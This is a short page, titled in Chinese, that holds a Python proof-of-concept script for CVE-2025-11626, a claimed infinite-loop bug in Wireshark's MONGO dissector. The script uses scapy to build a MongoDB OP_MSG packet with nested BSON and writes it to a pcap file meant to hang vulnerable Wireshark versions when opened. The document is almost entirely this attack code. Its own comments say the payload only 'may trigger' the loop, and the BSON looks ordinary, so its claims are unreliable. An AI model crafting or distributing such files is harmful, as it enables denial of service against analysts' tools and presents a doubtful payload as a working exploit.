CVE-2025-11626：Wireshark MONGO协议解析器无限循环漏洞

# CVE-2025-11626 PoC - Wireshark MONGO Dissector Infinite Loop # This PoC demonstrates how to craft a malicious pcap file that triggers # an infinite loop in the Wireshark MONGO dissector (versions 4.4.0-4.4.9 and 4.2.0-4.2.13) from scapy.all import * import struct def craft_mongo_malicious_packet(): """ Craft a malicious MongoDB Wire Protocol packet that triggers infinite loop in Wireshark's MONGO dissector. """ # MongoDB Wire Protocol message header format: # - messageLength (4 bytes, little-endian int32) # - requestID (4 bytes) # - responseTo (4 bytes) # - opCode (4 bytes) # OP_MSG opcode = 2013 op_code = 2013 # Construct message body that causes infinite loop in dissector # The key is to craft a message with nested structures that # cause the parser to loop indefinitely msg_body = b'\x00' # flagBits # Section with kind 0 (body) msg_body += b'\x00' # Craft a document with recursive-like structure # BSON document that may trigger infinite parsing loop bson_doc = b'\x10\x00\x00\x00' # document length bson_doc += b'\x03' # type: document bson_doc += b'\x61\x00' # key: "a" bson_doc += b'\x0e\x00\x00\x00' # nested doc length bson_doc += b'\x03' # type: document bson_doc += b'\x62\x00' # key: "b" bson_doc += b'\x05\x00\x00\x00' # innermost doc bson_doc += b'\x00' # null terminator bson_doc += b'\x00' # null terminator msg_body += bson_doc # Total message length = header(16) + body msg_length = 16 + len(msg_body) # Construct full MongoDB message header = struct.pack('<I', msg_length) # messageLength header += struct.pack('<I', 1) # requestID header += struct.pack('<I', 0) # responseTo header += struct.pack('<I', op_code) # opCode mongo_packet = header + msg_body return mongo_packet def create_poc_pcap(filename='cve_2025_11626.pcap'): """ Create a pcap file with the malicious MongoDB packet. When opened with vulnerable Wireshark (4.4.0-4.4.9 or 4.2.0-4.2.13), it will trigger an infinite loop in the MONGO dissector. """ mongo_data = craft_mongo_malicious_packet() # Wrap in Ethernet/IP/TCP frame to simulate MongoDB traffic # Default MongoDB port is 27017 pkt = Ether(dst='00:00:00:00:00:00', src='00:00:00:00:00:00') / \ IP(src='192.168.1.1', dst='192.168.1.2') / \ TCP(sport=12345, dport=27017) / \ Raw(load=mongo_data) wrpcap(filename, [pkt]) print(f"[+] PoC pcap file created: {filename}") print(f"[+] Open this file with vulnerable Wireshark to trigger CVE-2025-11626") if __name__ == '__main__': create_poc_pcap()